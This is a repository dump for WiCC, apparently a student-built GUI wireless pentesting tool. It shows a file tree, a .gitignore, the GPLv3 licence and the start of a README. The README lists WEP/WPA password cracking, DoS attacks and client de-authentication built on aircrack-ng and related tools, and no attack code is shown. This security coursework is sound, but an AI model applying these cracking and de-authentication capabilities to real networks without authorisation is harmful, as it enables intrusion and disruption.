├── .gitignore ├── LICENSE ├── README.md ├── USER MANUAL.pdf ├── WiCC.py ├── resources ├── icon.png ├── icon_medium.png ├── icon_small.png ├── logo_circle.png ├── logo_circle_code.png ├── rockyou.txt └── splash.png ├── wicc_client.py ├── wicc_control.py ├── wicc_enc_type.py ├── wicc_interface.py ├── wicc_model.py ├── wicc_network.py ├── wicc_operations.py ├── wicc_view.py ├── wicc_view_about.py ├── wicc_view_dos.py ├── wicc_view_mac.py ├── wicc_view_popup.py ├── wicc_view_right_click.py ├── wicc_view_splash.py ├── wicc_view_wordlist.py ├── wicc_wep.py └── wicc_wpa.py /.gitignore: -------------------------------------------------------------------------------- 1 | # Byte-compiled / optimized / DLL files 2 | __pycache__/ 3 | *.py[cod] 4 | *$py.class 5 | 6 | # C extensions 7 | *.so 8 | 9 | # Distribution / packaging 10 | .Python 11 | build/ 12 | develop-eggs/ 13 | dist/ 14 | downloads/ 15 | eggs/ 16 | .eggs/ 17 | lib/ 18 | lib64/ 19 | parts/ 20 | sdist/ 21 | var/ 22 | wheels/ 23 | *.egg-info/ 24 | .installed.cfg 25 | *.egg 26 | MANIFEST 27 | 28 | # PyInstaller 29 | # Usually these files are written by a python script from a template 30 | # before PyInstaller builds the exe, so as to inject date/other infos into it. 31 | *.manifest 32 | *.spec 33 | 34 | # Installer logs 35 | pip-log.txt 36 | pip-delete-this-directory.txt 37 | 38 | # Unit test / coverage reports 39 | htmlcov/ 40 | .tox/ 41 | .coverage 42 | .coverage.* 43 | .cache 44 | nosetests.xml 45 | coverage.xml 46 | *.cover 47 | .hypothesis/ 48 | .pytest_cache/ 49 | 50 | # Translations 51 | *.mo 52 | *.pot 53 | 54 | # Django stuff: 55 | *.log 56 | local_settings.py 57 | db.sqlite3 58 | 59 | # Flask stuff: 60 | instance/ 61 | .webassets-cache 62 | 63 | # Scrapy stuff: 64 | .scrapy 65 | 66 | # Sphinx documentation 67 | docs/_build/ 68 | 69 | # PyBuilder 70 | target/ 71 | 72 | # Jupyter Notebook 73 | .ipynb_checkpoints 74 | 75 | # pyenv 76 | .python-version 77 | 78 | # celery beat schedule file 79 | celerybeat-schedule 80 | 81 | # SageMath parsed files 82 | *.sage.py 83 | 84 | # Environments 85 | .env 86 | .venv 87 | env/ 88 | venv/ 89 | ENV/ 90 | env.bak/ 91 | venv.bak/ 92 | 93 | # Spyder project settings 94 | .spyderproject 95 | .spyproject 96 | 97 | # Rope project settings 98 | .ropeproject 99 | 100 | # mkdocs documentation 101 | /site 102 | 103 | # mypy 104 | .mypy_cache/ 105 | 106 | # IDE configurations 107 | /.idea 108 | 109 | # Temp files 110 | /savefiles 111 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | GNU GENERAL PUBLIC LICENSE 2 | Version 3, 29 June 2007 3 | 4 | Copyright (C) 2007 Free Software Foundation, Inc. 5 | Everyone is permitted to copy and distribute verbatim copies 6 | of this license document, but changing it is not allowed. 7 | 8 | Preamble 9 | 10 | The GNU General Public License is a free, copyleft license for 11 | software and other kinds of works. 12 | 13 | The licenses for most software and other practical works are designed 14 | to take away your freedom to share and change the works. By contrast, 15 | the GNU General Public License is intended to guarantee your freedom to 16 | share and change all versions of a program--to make sure it remains free 17 | software for all its users. We, the Free Software Foundation, use the 18 | GNU General Public License for most of our software; it applies also to 19 | any other work released this way by its authors. You can apply it to 20 | your programs, too. 21 | 22 | When we speak of free software, we are referring to freedom, not 23 | price. Our General Public Licenses are designed to make sure that you 24 | have the freedom to distribute copies of free software (and charge for 25 | them if you wish), that you receive source code or can get it if you 26 | want it, that you can change the software or use pieces of it in new 27 | free programs, and that you know you can do these things. 28 | 29 | To protect your rights, we need to prevent others from denying you 30 | these rights or asking you to surrender the rights. Therefore, you have 31 | certain responsibilities if you distribute copies of the software, or if 32 | you modify it: responsibilities to respect the freedom of others. 33 | 34 | For example, if you distribute copies of such a program, whether 35 | gratis or for a fee, you must pass on to the recipients the same 36 | freedoms that you received. You must make sure that they, too, receive 37 | or can get the source code. And you must show them these terms so they 38 | know their rights. 39 | 40 | Developers that use the GNU GPL protect your rights with two steps: 41 | (1) assert copyright on the software, and (2) offer you this License 42 | giving you legal permission to copy, distribute and/or modify it. 43 | 44 | For the developers' and authors' protection, the GPL clearly explains 45 | that there is no warranty for this free software. For both users' and 46 | authors' sake, the GPL requires that modified versions be marked as 47 | changed, so that their problems will not be attributed erroneously to 48 | authors of previous versions. 49 | 50 | Some devices are designed to deny users access to install or run 51 | modified versions of the software inside them, although the manufacturer 52 | can do so. This is fundamentally incompatible with the aim of 53 | protecting users' freedom to change the software. The systematic 54 | pattern of such abuse occurs in the area of products for individuals to 55 | use, which is precisely where it is most unacceptable. Therefore, we 56 | have designed this version of the GPL to prohibit the practice for those 57 | products. If such problems arise substantially in other domains, we 58 | stand ready to extend this provision to those domains in future versions 59 | of the GPL, as needed to protect the freedom of users. 60 | 61 | Finally, every program is threatened constantly by software patents. 62 | States should not allow patents to restrict development and use of 63 | software on general-purpose computers, but in those that do, we wish to 64 | avoid the special danger that patents applied to a free program could 65 | make it effectively proprietary. To prevent this, the GPL assures that 66 | patents cannot be used to render the program non-free. 67 | 68 | The precise terms and conditions for copying, distribution and 69 | modification follow. 70 | 71 | TERMS AND CONDITIONS 72 | 73 | 0. Definitions. 74 | 75 | "This License" refers to version 3 of the GNU General Public License. 76 | 77 | "Copyright" also means copyright-like laws that apply to other kinds of 78 | works, such as semiconductor masks. 79 | 80 | "The Program" refers to any copyrightable work licensed under this 81 | License. Each licensee is addressed as "you". "Licensees" and 82 | "recipients" may be individuals or organizations. 83 | 84 | To "modify" a work means to copy from or adapt all or part of the work 85 | in a fashion requiring copyright permission, other than the making of an 86 | exact copy. The resulting work is called a "modified version" of the 87 | earlier work or a work "based on" the earlier work. 88 | 89 | A "covered work" means either the unmodified Program or a work based 90 | on the Program. 91 | 92 | To "propagate" a work means to do anything with it that, without 93 | permission, would make you directly or secondarily liable for 94 | infringement under applicable copyright law, except executing it on a 95 | computer or modifying a private copy. Propagation includes copying, 96 | distribution (with or without modification), making available to the 97 | public, and in some countries other activities as well. 98 | 99 | To "convey" a work means any kind of propagation that enables other 100 | parties to make or receive copies. Mere interaction with a user through 101 | a computer network, with no transfer of a copy, is not conveying. 102 | 103 | An interactive user interface displays "Appropriate Legal Notices" 104 | to the extent that it includes a convenient and prominently visible 105 | feature that (1) displays an appropriate copyright notice, and (2) 106 | tells the user that there is no warranty for the work (except to the 107 | extent that warranties are provided), that licensees may convey the 108 | work under this License, and how to view a copy of this License. If 109 | the interface presents a list of user commands or options, such as a 110 | menu, a prominent item in the list meets this criterion. 111 | 112 | 1. Source Code. 113 | 114 | The "source code" for a work means the preferred form of the work 115 | for making modifications to it. "Object code" means any non-source 116 | form of a work. 117 | 118 | A "Standard Interface" means an interface that either is an official 119 | standard defined by a recognized standards body, or, in the case of 120 | interfaces specified for a particular programming language, one that 121 | is widely used among developers working in that language. 122 | 123 | The "System Libraries" of an executable work include anything, other 124 | than the work as a whole, that (a) is included in the normal form of 125 | packaging a Major Component, but which is not part of that Major 126 | Component, and (b) serves only to enable use of the work with that 127 | Major Component, or to implement a Standard Interface for which an 128 | implementation is available to the public in source code form. A 129 | "Major Component", in this context, means a major essential component 130 | (kernel, window system, and so on) of the specific operating system 131 | (if any) on which the executable work runs, or a compiler used to 132 | produce the work, or an object code interpreter used to run it. 133 | 134 | The "Corresponding Source" for a work in object code form means all 135 | the source code needed to generate, install, and (for an executable 136 | work) run the object code and to modify the work, including scripts to 137 | control those activities. However, it does not include the work's 138 | System Libraries, or general-purpose tools or generally available free 139 | programs which are used unmodified in performing those activities but 140 | which are not part of the work. For example, Corresponding Source 141 | includes interface definition files associated with source files for 142 | the work, and the source code for shared libraries and dynamically 143 | linked subprograms that the work is specifically designed to require, 144 | such as by intimate data communication or control flow between those 145 | subprograms and other parts of the work. 146 | 147 | The Corresponding Source need not include anything that users 148 | can regenerate automatically from other parts of the Corresponding 149 | Source. 150 | 151 | The Corresponding Source for a work in source code form is that 152 | same work. 153 | 154 | 2. Basic Permissions. 155 | 156 | All rights granted under this License are granted for the term of 157 | copyright on the Program, and are irrevocable provided the stated 158 | conditions are met. This License explicitly affirms your unlimited 159 | permission to run the unmodified Program. The output from running a 160 | covered work is covered by this License only if the output, given its 161 | content, constitutes a covered work. This License acknowledges your 162 | rights of fair use or other equivalent, as provided by copyright law. 163 | 164 | You may make, run and propagate covered works that you do not 165 | convey, without conditions so long as your license otherwise remains 166 | in force. You may convey covered works to others for the sole purpose 167 | of having them make modifications exclusively for you, or provide you 168 | with facilities for running those works, provided that you comply with 169 | the terms of this License in conveying all material for which you do 170 | not control copyright. Those thus making or running the covered works 171 | for you must do so exclusively on your behalf, under your direction 172 | and control, on terms that prohibit them from making any copies of 173 | your copyrighted material outside their relationship with you. 174 | 175 | Conveying under any other circumstances is permitted solely under 176 | the conditions stated below. Sublicensing is not allowed; section 10 177 | makes it unnecessary. 178 | 179 | 3. Protecting Users' Legal Rights From Anti-Circumvention Law. 180 | 181 | No covered work shall be deemed part of an effective technological 182 | measure under any applicable law fulfilling obligations under article 183 | 11 of the WIPO copyright treaty adopted on 20 December 1996, or 184 | similar laws prohibiting or restricting circumvention of such 185 | measures. 186 | 187 | When you convey a covered work, you waive any legal power to forbid 188 | circumvention of technological measures to the extent such circumvention 189 | is effected by exercising rights under this License with respect to 190 | the covered work, and you disclaim any intention to limit operation or 191 | modification of the work as a means of enforcing, against the work's 192 | users, your or third parties' legal rights to forbid circumvention of 193 | technological measures. 194 | 195 | 4. Conveying Verbatim Copies. 196 | 197 | You may convey verbatim copies of the Program's source code as you 198 | receive it, in any medium, provided that you conspicuously and 199 | appropriately publish on each copy an appropriate copyright notice; 200 | keep intact all notices stating that this License and any 201 | non-permissive terms added in accord with section 7 apply to the code; 202 | keep intact all notices of the absence of any warranty; and give all 203 | recipients a copy of this License along with the Program. 204 | 205 | You may charge any price or no price for each copy that you convey, 206 | and you may offer support or warranty protection for a fee. 207 | 208 | 5. Conveying Modified Source Versions. 209 | 210 | You may convey a work based on the Program, or the modifications to 211 | produce it from the Program, in the form of source code under the 212 | terms of section 4, provided that you also meet all of these conditions: 213 | 214 | a) The work must carry prominent notices stating that you modified 215 | it, and giving a relevant date. 216 | 217 | b) The work must carry prominent notices stating that it is 218 | released under this License and any conditions added under section 219 | 7. This requirement modifies the requirement in section 4 to 220 | "keep intact all notices". 221 | 222 | c) You must license the entire work, as a whole, under this 223 | License to anyone who comes into possession of a copy. This 224 | License will therefore apply, along with any applicable section 7 225 | additional terms, to the whole of the work, and all its parts, 226 | regardless of how they are packaged. This License gives no 227 | permission to license the work in any other way, but it does not 228 | invalidate such permission if you have separately received it. 229 | 230 | d) If the work has interactive user interfaces, each must display 231 | Appropriate Legal Notices; however, if the Program has interactive 232 | interfaces that do not display Appropriate Legal Notices, your 233 | work need not make them do so. 234 | 235 | A compilation of a covered work with other separate and independent 236 | works, which are not by their nature extensions of the covered work, 237 | and which are not combined with it such as to form a larger program, 238 | in or on a volume of a storage or distribution medium, is called an 239 | "aggregate" if the compilation and its resulting copyright are not 240 | used to limit the access or legal rights of the compilation's users 241 | beyond what the individual works permit. Inclusion of a covered work 242 | in an aggregate does not cause this License to apply to the other 243 | parts of the aggregate. 244 | 245 | 6. Conveying Non-Source Forms. 246 | 247 | You may convey a covered work in object code form under the terms 248 | of sections 4 and 5, provided that you also convey the 249 | machine-readable Corresponding Source under the terms of this License, 250 | in one of these ways: 251 | 252 | a) Convey the object code in, or embodied in, a physical product 253 | (including a physical distribution medium), accompanied by the 254 | Corresponding Source fixed on a durable physical medium 255 | customarily used for software interchange. 256 | 257 | b) Convey the object code in, or embodied in, a physical product 258 | (including a physical distribution medium), accompanied by a 259 | written offer, valid for at least three years and valid for as 260 | long as you offer spare parts or customer support for that product 261 | model, to give anyone who possesses the object code either (1) a 262 | copy of the Corresponding Source for all the software in the 263 | product that is covered by this License, on a durable physical 264 | medium customarily used for software interchange, for a price no 265 | more than your reasonable cost of physically performing this 266 | conveying of source, or (2) access to copy the 267 | Corresponding Source from a network server at no charge. 268 | 269 | c) Convey individual copies of the object code with a copy of the 270 | written offer to provide the Corresponding Source. This 271 | alternative is allowed only occasionally and noncommercially, and 272 | only if you received the object code with such an offer, in accord 273 | with subsection 6b. 274 | 275 | d) Convey the object code by offering access from a designated 276 | place (gratis or for a charge), and offer equivalent access to the 277 | Corresponding Source in the same way through the same place at no 278 | further charge. You need not require recipients to copy the 279 | Corresponding Source along with the object code. If the place to 280 | copy the object code is a network server, the Corresponding Source 281 | may be on a different server (operated by you or a third party) 282 | that supports equivalent copying facilities, provided you maintain 283 | clear directions next to the object code saying where to find the 284 | Corresponding Source. Regardless of what server hosts the 285 | Corresponding Source, you remain obligated to ensure that it is 286 | available for as long as needed to satisfy these requirements. 287 | 288 | e) Convey the object code using peer-to-peer transmission, provided 289 | you inform other peers where the object code and Corresponding 290 | Source of the work are being offered to the general public at no 291 | charge under subsection 6d. 292 | 293 | A separable portion of the object code, whose source code is excluded 294 | from the Corresponding Source as a System Library, need not be 295 | included in conveying the object code work. 296 | 297 | A "User Product" is either (1) a "consumer product", which means any 298 | tangible personal property which is normally used for personal, family, 299 | or household purposes, or (2) anything designed or sold for incorporation 300 | into a dwelling. In determining whether a product is a consumer product, 301 | doubtful cases shall be resolved in favor of coverage. For a particular 302 | product received by a particular user, "normally used" refers to a 303 | typical or common use of that class of product, regardless of the status 304 | of the particular user or of the way in which the particular user 305 | actually uses, or expects or is expected to use, the product. A product 306 | is a consumer product regardless of whether the product has substantial 307 | commercial, industrial or non-consumer uses, unless such uses represent 308 | the only significant mode of use of the product. 309 | 310 | "Installation Information" for a User Product means any methods, 311 | procedures, authorization keys, or other information required to install 312 | and execute modified versions of a covered work in that User Product from 313 | a modified version of its Corresponding Source. The information must 314 | suffice to ensure that the continued functioning of the modified object 315 | code is in no case prevented or interfered with solely because 316 | modification has been made. 317 | 318 | If you convey an object code work under this section in, or with, or 319 | specifically for use in, a User Product, and the conveying occurs as 320 | part of a transaction in which the right of possession and use of the 321 | User Product is transferred to the recipient in perpetuity or for a 322 | fixed term (regardless of how the transaction is characterized), the 323 | Corresponding Source conveyed under this section must be accompanied 324 | by the Installation Information. But this requirement does not apply 325 | if neither you nor any third party retains the ability to install 326 | modified object code on the User Product (for example, the work has 327 | been installed in ROM). 328 | 329 | The requirement to provide Installation Information does not include a 330 | requirement to continue to provide support service, warranty, or updates 331 | for a work that has been modified or installed by the recipient, or for 332 | the User Product in which it has been modified or installed. Access to a 333 | network may be denied when the modification itself materially and 334 | adversely affects the operation of the network or violates the rules and 335 | protocols for communication across the network. 336 | 337 | Corresponding Source conveyed, and Installation Information provided, 338 | in accord with this section must be in a format that is publicly 339 | documented (and with an implementation available to the public in 340 | source code form), and must require no special password or key for 341 | unpacking, reading or copying. 342 | 343 | 7. Additional Terms. 344 | 345 | "Additional permissions" are terms that supplement the terms of this 346 | License by making exceptions from one or more of its conditions. 347 | Additional permissions that are applicable to the entire Program shall 348 | be treated as though they were included in this License, to the extent 349 | that they are valid under applicable law. If additional permissions 350 | apply only to part of the Program, that part may be used separately 351 | under those permissions, but the entire Program remains governed by 352 | this License without regard to the additional permissions. 353 | 354 | When you convey a copy of a covered work, you may at your option 355 | remove any additional permissions from that copy, or from any part of 356 | it. (Additional permissions may be written to require their own 357 | removal in certain cases when you modify the work.) You may place 358 | additional permissions on material, added by you to a covered work, 359 | for which you have or can give appropriate copyright permission. 360 | 361 | Notwithstanding any other provision of this License, for material you 362 | add to a covered work, you may (if authorized by the copyright holders of 363 | that material) supplement the terms of this License with terms: 364 | 365 | a) Disclaiming warranty or limiting liability differently from the 366 | terms of sections 15 and 16 of this License; or 367 | 368 | b) Requiring preservation of specified reasonable legal notices or 369 | author attributions in that material or in the Appropriate Legal 370 | Notices displayed by works containing it; or 371 | 372 | c) Prohibiting misrepresentation of the origin of that material, or 373 | requiring that modified versions of such material be marked in 374 | reasonable ways as different from the original version; or 375 | 376 | d) Limiting the use for publicity purposes of names of licensors or 377 | authors of the material; or 378 | 379 | e) Declining to grant rights under trademark law for use of some 380 | trade names, trademarks, or service marks; or 381 | 382 | f) Requiring indemnification of licensors and authors of that 383 | material by anyone who conveys the material (or modified versions of 384 | it) with contractual assumptions of liability to the recipient, for 385 | any liability that these contractual assumptions directly impose on 386 | those licensors and authors. 387 | 388 | All other non-permissive additional terms are considered "further 389 | restrictions" within the meaning of section 10. If the Program as you 390 | received it, or any part of it, contains a notice stating that it is 391 | governed by this License along with a term that is a further 392 | restriction, you may remove that term. If a license document contains 393 | a further restriction but permits relicensing or conveying under this 394 | License, you may add to a covered work material governed by the terms 395 | of that license document, provided that the further restriction does 396 | not survive such relicensing or conveying. 397 | 398 | If you add terms to a covered work in accord with this section, you 399 | must place, in the relevant source files, a statement of the 400 | additional terms that apply to those files, or a notice indicating 401 | where to find the applicable terms. 402 | 403 | Additional terms, permissive or non-permissive, may be stated in the 404 | form of a separately written license, or stated as exceptions; 405 | the above requirements apply either way. 406 | 407 | 8. Termination. 408 | 409 | You may not propagate or modify a covered work except as expressly 410 | provided under this License. Any attempt otherwise to propagate or 411 | modify it is void, and will automatically terminate your rights under 412 | this License (including any patent licenses granted under the third 413 | paragraph of section 11). 414 | 415 | However, if you cease all violation of this License, then your 416 | license from a particular copyright holder is reinstated (a) 417 | provisionally, unless and until the copyright holder explicitly and 418 | finally terminates your license, and (b) permanently, if the copyright 419 | holder fails to notify you of the violation by some reasonable means 420 | prior to 60 days after the cessation. 421 | 422 | Moreover, your license from a particular copyright holder is 423 | reinstated permanently if the copyright holder notifies you of the 424 | violation by some reasonable means, this is the first time you have 425 | received notice of violation of this License (for any work) from that 426 | copyright holder, and you cure the violation prior to 30 days after 427 | your receipt of the notice. 428 | 429 | Termination of your rights under this section does not terminate the 430 | licenses of parties who have received copies or rights from you under 431 | this License. If your rights have been terminated and not permanently 432 | reinstated, you do not qualify to receive new licenses for the same 433 | material under section 10. 434 | 435 | 9. Acceptance Not Required for Having Copies. 436 | 437 | You are not required to accept this License in order to receive or 438 | run a copy of the Program. Ancillary propagation of a covered work 439 | occurring solely as a consequence of using peer-to-peer transmission 440 | to receive a copy likewise does not require acceptance. However, 441 | nothing other than this License grants you permission to propagate or 442 | modify any covered work. These actions infringe copyright if you do 443 | not accept this License. Therefore, by modifying or propagating a 444 | covered work, you indicate your acceptance of this License to do so. 445 | 446 | 10. Automatic Licensing of Downstream Recipients. 447 | 448 | Each time you convey a covered work, the recipient automatically 449 | receives a license from the original licensors, to run, modify and 450 | propagate that work, subject to this License. You are not responsible 451 | for enforcing compliance by third parties with this License. 452 | 453 | An "entity transaction" is a transaction transferring control of an 454 | organization, or substantially all assets of one, or subdividing an 455 | organization, or merging organizations. If propagation of a covered 456 | work results from an entity transaction, each party to that 457 | transaction who receives a copy of the work also receives whatever 458 | licenses to the work the party's predecessor in interest had or could 459 | give under the previous paragraph, plus a right to possession of the 460 | Corresponding Source of the work from the predecessor in interest, if 461 | the predecessor has it or can get it with reasonable efforts. 462 | 463 | You may not impose any further restrictions on the exercise of the 464 | rights granted or affirmed under this License. For example, you may 465 | not impose a license fee, royalty, or other charge for exercise of 466 | rights granted under this License, and you may not initiate litigation 467 | (including a cross-claim or counterclaim in a lawsuit) alleging that 468 | any patent claim is infringed by making, using, selling, offering for 469 | sale, or importing the Program or any portion of it. 470 | 471 | 11. Patents. 472 | 473 | A "contributor" is a copyright holder who authorizes use under this 474 | License of the Program or a work on which the Program is based. The 475 | work thus licensed is called the contributor's "contributor version". 476 | 477 | A contributor's "essential patent claims" are all patent claims 478 | owned or controlled by the contributor, whether already acquired or 479 | hereafter acquired, that would be infringed by some manner, permitted 480 | by this License, of making, using, or selling its contributor version, 481 | but do not include claims that would be infringed only as a 482 | consequence of further modification of the contributor version. For 483 | purposes of this definition, "control" includes the right to grant 484 | patent sublicenses in a manner consistent with the requirements of 485 | this License. 486 | 487 | Each contributor grants you a non-exclusive, worldwide, royalty-free 488 | patent license under the contributor's essential patent claims, to 489 | make, use, sell, offer for sale, import and otherwise run, modify and 490 | propagate the contents of its contributor version. 491 | 492 | In the following three paragraphs, a "patent license" is any express 493 | agreement or commitment, however denominated, not to enforce a patent 494 | (such as an express permission to practice a patent or covenant not to 495 | sue for patent infringement). To "grant" such a patent license to a 496 | party means to make such an agreement or commitment not to enforce a 497 | patent against the party. 498 | 499 | If you convey a covered work, knowingly relying on a patent license, 500 | and the Corresponding Source of the work is not available for anyone 501 | to copy, free of charge and under the terms of this License, through a 502 | publicly available network server or other readily accessible means, 503 | then you must either (1) cause the Corresponding Source to be so 504 | available, or (2) arrange to deprive yourself of the benefit of the 505 | patent license for this particular work, or (3) arrange, in a manner 506 | consistent with the requirements of this License, to extend the patent 507 | license to downstream recipients. "Knowingly relying" means you have 508 | actual knowledge that, but for the patent license, your conveying the 509 | covered work in a country, or your recipient's use of the covered work 510 | in a country, would infringe one or more identifiable patents in that 511 | country that you have reason to believe are valid. 512 | 513 | If, pursuant to or in connection with a single transaction or 514 | arrangement, you convey, or propagate by procuring conveyance of, a 515 | covered work, and grant a patent license to some of the parties 516 | receiving the covered work authorizing them to use, propagate, modify 517 | or convey a specific copy of the covered work, then the patent license 518 | you grant is automatically extended to all recipients of the covered 519 | work and works based on it. 520 | 521 | A patent license is "discriminatory" if it does not include within 522 | the scope of its coverage, prohibits the exercise of, or is 523 | conditioned on the non-exercise of one or more of the rights that are 524 | specifically granted under this License. You may not convey a covered 525 | work if you are a party to an arrangement with a third party that is 526 | in the business of distributing software, under which you make payment 527 | to the third party based on the extent of your activity of conveying 528 | the work, and under which the third party grants, to any of the 529 | parties who would receive the covered work from you, a discriminatory 530 | patent license (a) in connection with copies of the covered work 531 | conveyed by you (or copies made from those copies), or (b) primarily 532 | for and in connection with specific products or compilations that 533 | contain the covered work, unless you entered into that arrangement, 534 | or that patent license was granted, prior to 28 March 2007. 535 | 536 | Nothing in this License shall be construed as excluding or limiting 537 | any implied license or other defenses to infringement that may 538 | otherwise be available to you under applicable patent law. 539 | 540 | 12. No Surrender of Others' Freedom. 541 | 542 | If conditions are imposed on you (whether by court order, agreement or 543 | otherwise) that contradict the conditions of this License, they do not 544 | excuse you from the conditions of this License. If you cannot convey a 545 | covered work so as to satisfy simultaneously your obligations under this 546 | License and any other pertinent obligations, then as a consequence you may 547 | not convey it at all. For example, if you agree to terms that obligate you 548 | to collect a royalty for further conveying from those to whom you convey 549 | the Program, the only way you could satisfy both those terms and this 550 | License would be to refrain entirely from conveying the Program. 551 | 552 | 13. Use with the GNU Affero General Public License. 553 | 554 | Notwithstanding any other provision of this License, you have 555 | permission to link or combine any covered work with a work licensed 556 | under version 3 of the GNU Affero General Public License into a single 557 | combined work, and to convey the resulting work. The terms of this 558 | License will continue to apply to the part which is the covered work, 559 | but the special requirements of the GNU Affero General Public License, 560 | section 13, concerning interaction through a network will apply to the 561 | combination as such. 562 | 563 | 14. Revised Versions of this License. 564 | 565 | The Free Software Foundation may publish revised and/or new versions of 566 | the GNU General Public License from time to time. Such new versions will 567 | be similar in spirit to the present version, but may differ in detail to 568 | address new problems or concerns. 569 | 570 | Each version is given a distinguishing version number. If the 571 | Program specifies that a certain numbered version of the GNU General 572 | Public License "or any later version" applies to it, you have the 573 | option of following the terms and conditions either of that numbered 574 | version or of any later version published by the Free Software 575 | Foundation. If the Program does not specify a version number of the 576 | GNU General Public License, you may choose any version ever published 577 | by the Free Software Foundation. 578 | 579 | If the Program specifies that a proxy can decide which future 580 | versions of the GNU General Public License can be used, that proxy's 581 | public statement of acceptance of a version permanently authorizes you 582 | to choose that version for the Program. 583 | 584 | Later license versions may give you additional or different 585 | permissions. However, no additional obligations are imposed on any 586 | author or copyright holder as a result of your choosing to follow a 587 | later version. 588 | 589 | 15. Disclaimer of Warranty. 590 | 591 | THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY 592 | APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT 593 | HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY 594 | OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, 595 | THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR 596 | PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM 597 | IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF 598 | ALL NECESSARY SERVICING, REPAIR OR CORRECTION. 599 | 600 | 16. Limitation of Liability. 601 | 602 | IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING 603 | WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS 604 | THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY 605 | GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE 606 | USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF 607 | DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD 608 | PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS), 609 | EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF 610 | SUCH DAMAGES. 611 | 612 | 17. Interpretation of Sections 15 and 16. 613 | 614 | If the disclaimer of warranty and limitation of liability provided 615 | above cannot be given local legal effect according to their terms, 616 | reviewing courts shall apply local law that most closely approximates 617 | an absolute waiver of all civil liability in connection with the 618 | Program, unless a warranty or assumption of liability accompanies a 619 | copy of the Program in return for a fee. 620 | 621 | END OF TERMS AND CONDITIONS 622 | 623 | How to Apply These Terms to Your New Programs 624 | 625 | If you develop a new program, and you want it to be of the greatest 626 | possible use to the public, the best way to achieve this is to make it 627 | free software which everyone can redistribute and change under these terms. 628 | 629 | To do so, attach the following notices to the program. It is safest 630 | to attach them to the start of each source file to most effectively 631 | state the exclusion of warranty; and each file should have at least 632 | the "copyright" line and a pointer to where the full notice is found. 633 | 634 | 635 | Copyright (C) 636 | 637 | This program is free software: you can redistribute it and/or modify 638 | it under the terms of the GNU General Public License as published by 639 | the Free Software Foundation, either version 3 of the License, or 640 | (at your option) any later version. 641 | 642 | This program is distributed in the hope that it will be useful, 643 | but WITHOUT ANY WARRANTY; without even the implied warranty of 644 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 645 | GNU General Public License for more details. 646 | 647 | You should have received a copy of the GNU General Public License 648 | along with this program. If not, see . 649 | 650 | Also add information on how to contact you by electronic and paper mail. 651 | 652 | If the program does terminal interaction, make it output a short 653 | notice like this when it starts in an interactive mode: 654 | 655 | Copyright (C) 656 | This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'. 657 | This is free software, and you are welcome to redistribute it 658 | under certain conditions; type `show c' for details. 659 | 660 | The hypothetical commands `show w' and `show c' should show the appropriate 661 | parts of the General Public License. Of course, your program's commands 662 | might be different; for a GUI interface, you would use an "about box". 663 | 664 | You should also get your employer (if you work as a programmer) or school, 665 | if any, to sign a "copyright disclaimer" for the program, if necessary. 666 | For more information on this, and how to apply and follow the GNU GPL, see 667 | . 668 | 669 | The GNU General Public License does not permit incorporating your program 670 | into proprietary programs. If your program is a subroutine library, you 671 | may consider it more useful to permit linking proprietary applications with 672 | the library. If this is what you want to do, use the GNU Lesser General 673 | Public License instead of this License. But first, please read 674 | . 675 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | WiCC 2 | ==== 3 | ![](https://img.shields.io/github/license/pabloibiza/WiCC.svg) 4 | ![](https://img.shields.io/github/release/pabloibiza/WiCC.svg) 5 | ![](https://img.shields.io/github/release-date/pabloibiza/WiCC.svg) 6 | ![](https://img.shields.io/github/commits-since/pabloibiza/WiCC/v0.2.svg) 7 | ![](https://img.shields.io/github/contributors/pabloibiza/WiCC.svg) 8 | ![](https://img.shields.io/github/repo-size/pabloibiza/WiCC.svg) 9 | 10 | 11 | 12 |
13 | *WiFi Cracking Camp* 14 | 15 | GUI tool for wireless WEP and WPA/WPA2 pentesting. 16 |

17 | Developed by Pablo Sanz Alguacil, Miguel Yanes Fernández and Adam Chalkley, as the Group Project for 3rd year of the 18 | Bachelor of Science in Computing in Digital Forensics and Cyber Security at the **Technological University Dublin**. 19 | 20 |


21 | Wireless pentesting tool with functionalities such as password cracking (in WEP and WPA/WPA2 networks), DoS attacks, 22 | client de-authentication,and data decryption. 23 |

24 | 25 | # Project insight 26 | 27 | Tool developed in Python 3.7, developed and tested under [**Kali Linux**](https://www.kali.org/) and [**Parrot OS**](https://www.parrotsec.org/) distributions. 28 | This tool is a GUI toolkit that integrates different open source tools for wireless pentesting. 29 | The utilised tools are the following: 30 | 31 | * [aircrack-ng suite](https://tools.kali.org/wireless-attacks/aircrack-ng) (including [airdecap-ng](https://tools.kali.org/wireless-attacks/aireplay-ng)) 32 | * [ifconfig](https://en.wikipedia.org/wiki/Ifconfig) 33 | * [pyrit](https://github.com/JPaulMora/Pyrit) 34 | * [coWPAtty](https://tools.kali.org/wireless-attacks/cowpatty) 35 | * [crunch](https://tools.kali.org/password-attacks/crunch) 36 |

